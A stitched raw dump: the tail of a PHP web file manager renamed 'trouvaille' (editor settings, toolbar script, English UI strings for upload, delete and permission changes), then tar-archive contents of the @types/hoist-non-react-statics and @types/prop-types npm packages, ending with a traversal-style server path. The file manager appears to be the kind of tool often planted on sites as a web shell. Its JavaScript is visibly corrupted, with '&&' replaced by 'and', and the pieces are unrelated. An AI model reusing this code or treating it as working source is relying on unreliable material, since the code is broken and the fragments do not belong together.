Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}}; if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); } if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");} if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); } $modeEl.val( editor.getSession().$modeId ); $themeEl.val( editor.getTheme() ); $fontSizeEl.val(12).change(); } $(function(){ renderThemeMode(); $(".js-ace-toolbar").on("click", 'button', function(e){ e.preventDefault(); let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option"); if(cmdValue and cmdValue != "none") { ace_commend(cmdValue); } else if(editorOption) { if(editorOption == "fullscreen") { (void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen) and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen()); } else if(editorOption == "wrap") { let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true; editor.getSession().setUseWrapMode(wrapStatus); } } }); $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){ e.preventDefault(); let selectedValue = $(this).val(), selectionType = $(this).attr("data-type"); if(selectedValue and selectionType == "mode") { editor.getSession().setMode(selectedValue); } else if(selectedValue and selectionType == "theme") { editor.setTheme(selectedValue); }else if(selectedValue and selectionType == "fontSize") { editor.setFontSize(parseInt(selectedValue)); } }); }); </script> <?php endif; ?> <div id="snackbar"></div> </body> </html> <?php } function lng($txt) { global $lang; $tr['en']['AppName'] = 'trouvaille'; $tr['en']['AppTitle'] = 'trouvaille'; $tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username'; $tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out'; $tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy'; $tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all'; $tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File'; $tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size'; $tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified'; $tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search'; $tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder'; $tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename'; $tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link'; $tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions'; $tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item'; $tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor'; $tr['en']['Actions'] = 'Actions'; $tr['en']['Folder is empty'] = 'Folder is empty'; $tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel'; $tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder'; $tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name'; $tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download'; $tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip'; $tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit'; $tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up'; $tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files'; $tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change'; $tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language'; $tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'; $tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created'; $tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue'; $tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size'; $tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in'; $tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal'; $tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked'; $tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created'; $tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed'; $tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully'; $tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully'; $tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed'; $tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined'; $tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from'; $tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name'; $tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed'; $tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from'; $tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items'; $tr['en']['Moved from'] = 'Moved from'; $tr['en']['Generate new password hash'] = 'Generate new password hash'; $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'; $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'; $tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from'; $tr['en']['Invalid characters in file name'] = 'Invalid characters in file name'; $tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED'; $tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted'; $tr['en']['Error while fetching archive info'] = 'Error while fetching archive info'; $tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?'; $tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...'; $tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable'; $tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name'; $tr['en']['Operations with archives are not available'] = 'Operations with archives are not available'; $tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists'; $i18n = fm_get_translations($tr); $tr = $i18n ? $i18n : $tr; if (!strlen($lang)) $lang = 'en'; if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]); else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]); else return "$txt"; } ?>hoist-non-react-statics/package.json000064400000003723151676730710013536 0ustar00{ "_from": "@types/hoist-non-react-statics@^3.3.1", "_id": "@types/hoist-non-react-statics@3.3.5", "_inBundle": false, "_integrity": "sha512-SbcrWzkKBw2cdwRTwQAswfpB9g9LJWfjtUeW/jvNwbhC8cpmmNYVePa+ncbUe0rGTQ7G3Ff6mYUN2VMfLVr+Sg==", "_location": "/@types/hoist-non-react-statics", "_phantomChildren": {}, "_requested": { "type": "range", "registry": true, "raw": "@types/hoist-non-react-statics@^3.3.1", "name": "@types/hoist-non-react-statics", "escapedName": "@types%2fhoist-non-react-statics", "scope": "@types", "rawSpec": "^3.3.1", "saveSpec": null, "fetchSpec": "^3.3.1" }, "_requiredBy": [ "/react-dnd" ], "_resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.5.tgz", "_shasum": "dab7867ef789d87e2b4b0003c9d65c49cc44a494", "_spec": "@types/hoist-non-react-statics@^3.3.1", "_where": "C:\\xampp\\htdocs\\emeraltd\\node_modules\\react-dnd", "bugs": { "url": "https://github.com/DefinitelyTyped/DefinitelyTyped/issues" }, "bundleDependencies": false, "contributors": [ { "name": "JounQin", "url": "https://github.com/JounQin" }, { "name": "James Reggio", "url": "https://github.com/jamesreggio" } ], "dependencies": { "@types/react": "*", "hoist-non-react-statics": "^3.3.0" }, "deprecated": false, "description": "TypeScript definitions for hoist-non-react-statics", "homepage": "https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/hoist-non-react-statics", "license": "MIT", "main": "", "name": "@types/hoist-non-react-statics", "repository": { "type": "git", "url": "git+https://github.com/DefinitelyTyped/DefinitelyTyped.git", "directory": "types/hoist-non-react-statics" }, "scripts": {}, "typeScriptVersion": "4.5", "types": "index.d.ts", "typesPublisherContentHash": "e7a2e0e3acecd59daaf840349946feec09d36c71528bdf39ac38ab7d566d804b", "version": "3.3.5" } hoist-non-react-statics/LICENSE000064400000002165151676730710012254 0ustar00 MIT License Copyright (c) Microsoft Corporation. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE hoist-non-react-statics/README.md000064400000004753151676730710012533 0ustar00# Installation > `npm install --save @types/hoist-non-react-statics` # Summary This package contains type definitions for hoist-non-react-statics (https://github.com/mridgway/hoist-non-react-statics#readme). # Details Files were exported from https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/hoist-non-react-statics. ## [index.d.ts](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/hoist-non-react-statics/index.d.ts) ````ts import * as React from "react"; interface REACT_STATICS { childContextTypes: true; contextType: true; contextTypes: true; defaultProps: true; displayName: true; getDefaultProps: true; getDerivedStateFromError: true; getDerivedStateFromProps: true; mixins: true; propTypes: true; type: true; } interface KNOWN_STATICS { name: true; length: true; prototype: true; caller: true; callee: true; arguments: true; arity: true; } interface MEMO_STATICS { "$$typeof": true; compare: true; defaultProps: true; displayName: true; propTypes: true; type: true; } interface FORWARD_REF_STATICS { "$$typeof": true; render: true; defaultProps: true; displayName: true; propTypes: true; } declare namespace hoistNonReactStatics { type NonReactStatics< S extends React.ComponentType<any>, C extends { [key: string]: true; } = {}, > = { [ key in Exclude< keyof S, S extends React.MemoExoticComponent<any> ? keyof MEMO_STATICS | keyof C : S extends React.ForwardRefExoticComponent<any> ? keyof FORWARD_REF_STATICS | keyof C : keyof REACT_STATICS | keyof KNOWN_STATICS | keyof C > ]: S[key]; }; } declare function hoistNonReactStatics< T extends React.ComponentType<any>, S extends React.ComponentType<any>, C extends { [key: string]: true; } = {}, >( TargetComponent: T, SourceComponent: S, customStatic?: C, ): T & hoistNonReactStatics.NonReactStatics<S, C>; export = hoistNonReactStatics; ```` ### Additional Details * Last updated: Tue, 07 Nov 2023 03:09:37 GMT * Dependencies: [@types/react](https://npmjs.com/package/@types/react), [hoist-non-react-statics](https://npmjs.com/package/hoist-non-react-statics) # Credits These definitions were written by [JounQin](https://github.com/JounQin), and [James Reggio](https://github.com/jamesreggio). hoist-non-react-statics/index.d.ts000064400000003232151676730710013144 0ustar00import * as React from "react"; interface REACT_STATICS { childContextTypes: true; contextType: true; contextTypes: true; defaultProps: true; displayName: true; getDefaultProps: true; getDerivedStateFromError: true; getDerivedStateFromProps: true; mixins: true; propTypes: true; type: true; } interface KNOWN_STATICS { name: true; length: true; prototype: true; caller: true; callee: true; arguments: true; arity: true; } interface MEMO_STATICS { "$$typeof": true; compare: true; defaultProps: true; displayName: true; propTypes: true; type: true; } interface FORWARD_REF_STATICS { "$$typeof": true; render: true; defaultProps: true; displayName: true; propTypes: true; } declare namespace hoistNonReactStatics { type NonReactStatics< S extends React.ComponentType<any>, C extends { [key: string]: true; } = {}, > = { [ key in Exclude< keyof S, S extends React.MemoExoticComponent<any> ? keyof MEMO_STATICS | keyof C : S extends React.ForwardRefExoticComponent<any> ? keyof FORWARD_REF_STATICS | keyof C : keyof REACT_STATICS | keyof KNOWN_STATICS | keyof C > ]: S[key]; }; } declare function hoistNonReactStatics< T extends React.ComponentType<any>, S extends React.ComponentType<any>, C extends { [key: string]: true; } = {}, >( TargetComponent: T, SourceComponent: S, customStatic?: C, ): T & hoistNonReactStatics.NonReactStatics<S, C>; export = hoistNonReactStatics; prop-types/package.json000064400000003511151676730710011171 0ustar00{ "_from": "@types/prop-types@*", "_id": "@types/prop-types@15.7.12", "_inBundle": false, "_integrity": "sha512-5zvhXYtRNRluoE/jAp4GVsSduVUzNWKkOZrCDBWYtE7biZywwdC2AcEzg+cSMLFRfVgeAFqpfNabiPjxFddV1Q==", "_location": "/@types/prop-types", "_phantomChildren": {}, "_requested": { "type": "range", "registry": true, "raw": "@types/prop-types@*", "name": "@types/prop-types", "escapedName": "@types%2fprop-types", "scope": "@types", "rawSpec": "*", "saveSpec": null, "fetchSpec": "*" }, "_requiredBy": [ "/@types/react" ], "_resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.12.tgz", "_shasum": "12bb1e2be27293c1406acb6af1c3f3a1481d98c6", "_spec": "@types/prop-types@*", "_where": "C:\\xampp\\htdocs\\emeraltd\\node_modules\\@types\\react", "bugs": { "url": "https://github.com/DefinitelyTyped/DefinitelyTyped/issues" }, "bundleDependencies": false, "contributors": [ { "name": "DovydasNavickas", "url": "https://github.com/DovydasNavickas" }, { "name": "Ferdy Budhidharma", "url": "https://github.com/ferdaber" }, { "name": "Sebastian Silbermann", "url": "https://github.com/eps1lon" } ], "dependencies": {}, "deprecated": false, "description": "TypeScript definitions for prop-types", "homepage": "https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/prop-types", "license": "MIT", "main": "", "name": "@types/prop-types", "repository": { "type": "git", "url": "git+https://github.com/DefinitelyTyped/DefinitelyTyped.git", "directory": "types/prop-types" }, "scripts": {}, "typeScriptVersion": "4.7", "types": "index.d.ts", "typesPublisherContentHash": "9f43a310cba2ddc63b5ca98d9cce503eaead853f72f038eb5c29c623dc2c01b6", "version": "15.7.12" } prop-types/LICENSE000064400000002165151676730710007714 0ustar00 MIT License Copyright (c) Microsoft Corporation. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE prop-types/README.md000064400000001121151676730710010155 0ustar00# Installation > `npm install --save @types/prop-types` # Summary This package contains type definitions for prop-types (https://github.com/reactjs/prop-types). # Details Files were exported from https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/prop-types. ### Additional Details * Last updated: Fri, 22 Mar 2024 18:07:25 GMT * Dependencies: none # Credits These definitions were written by [DovydasNavickas](https://github.com/DovydasNavickas), [Ferdy Budhidharma](https://github.com/ferdaber), and [Sebastian Silbermann](https://github.com/eps1lon). prop-types/index.d.ts000064400000007413151676730710010611 0ustar00export type ReactComponentLike = | string | ((props: any, context?: any) => any) | (new(props: any, context?: any) => any); export interface ReactElementLike { type: ReactComponentLike; props: any; key: string | null; } export interface ReactNodeArray extends Iterable<ReactNodeLike> {} export type ReactNodeLike = | ReactElementLike | ReactNodeArray | string | number | boolean | null | undefined; export const nominalTypeHack: unique symbol; export type IsOptional<T> = undefined extends T ? true : false; export type RequiredKeys<V> = { [K in keyof V]-?: Exclude<V[K], undefined> extends Validator<infer T> ? IsOptional<T> extends true ? never : K : never; }[keyof V]; export type OptionalKeys<V> = Exclude<keyof V, RequiredKeys<V>>; export type InferPropsInner<V> = { [K in keyof V]-?: InferType<V[K]> }; export interface Validator<T> { ( props: { [key: string]: any }, propName: string, componentName: string, location: string, propFullName: string, ): Error | null; [nominalTypeHack]?: { type: T; } | undefined; } export interface Requireable<T> extends Validator<T | undefined | null> { isRequired: Validator<NonNullable<T>>; } export type ValidationMap<T> = { [K in keyof T]?: Validator<T[K]> }; /** * Like {@link ValidationMap} but treats `undefined`, `null` and optional properties the same. * This type is only added as a migration path in React 19 where this type was removed from React. * Runtime and compile time types would mismatch since you could see `undefined` at runtime when your types don't expect this type. */ export type WeakValidationMap<T> = { [K in keyof T]?: null extends T[K] ? Validator<T[K] | null | undefined> : undefined extends T[K] ? Validator<T[K] | null | undefined> : Validator<T[K]>; }; export type InferType<V> = V extends Validator<infer T> ? T : any; export type InferProps<V> = & InferPropsInner<Pick<V, RequiredKeys<V>>> & Partial<InferPropsInner<Pick<V, OptionalKeys<V>>>>; export const any: Requireable<any>; export const array: Requireable<any[]>; export const bool: Requireable<boolean>; export const func: Requireable<(...args: any[]) => any>; export const number: Requireable<number>; export const object: Requireable<object>; export const string: Requireable<string>; export const node: Requireable<ReactNodeLike>; export const element: Requireable<ReactElementLike>; export const symbol: Requireable<symbol>; export const elementType: Requireable<ReactComponentLike>; export function instanceOf<T>(expectedClass: new(...args: any[]) => T): Requireable<T>; export function oneOf<T>(types: readonly T[]): Requireable<T>; export function oneOfType<T extends Validator<any>>(types: T[]): Requireable<NonNullable<InferType<T>>>; export function arrayOf<T>(type: Validator<T>): Requireable<T[]>; export function objectOf<T>(type: Validator<T>): Requireable<{ [K in keyof any]: T }>; export function shape<P extends ValidationMap<any>>(type: P): Requireable<InferProps<P>>; export function exact<P extends ValidationMap<any>>(type: P): Requireable<Required<InferProps<P>>>; /** * Assert that the values match with the type specs. * Error messages are memorized and will only be shown once. * * @param typeSpecs Map of name to a ReactPropType * @param values Runtime values that need to be type-checked * @param location e.g. "prop", "context", "child context" * @param componentName Name of the component for error messages * @param getStack Returns the component stack */ export function checkPropTypes( typeSpecs: any, values: any, location: string, componentName: string, getStack?: () => any, ): void; /** * Only available if NODE_ENV=production */ export function resetWarningCache(): void;
/home/emeraadmin/.caldav/./../public_html/node_modules/../src/../4d695/@types.tar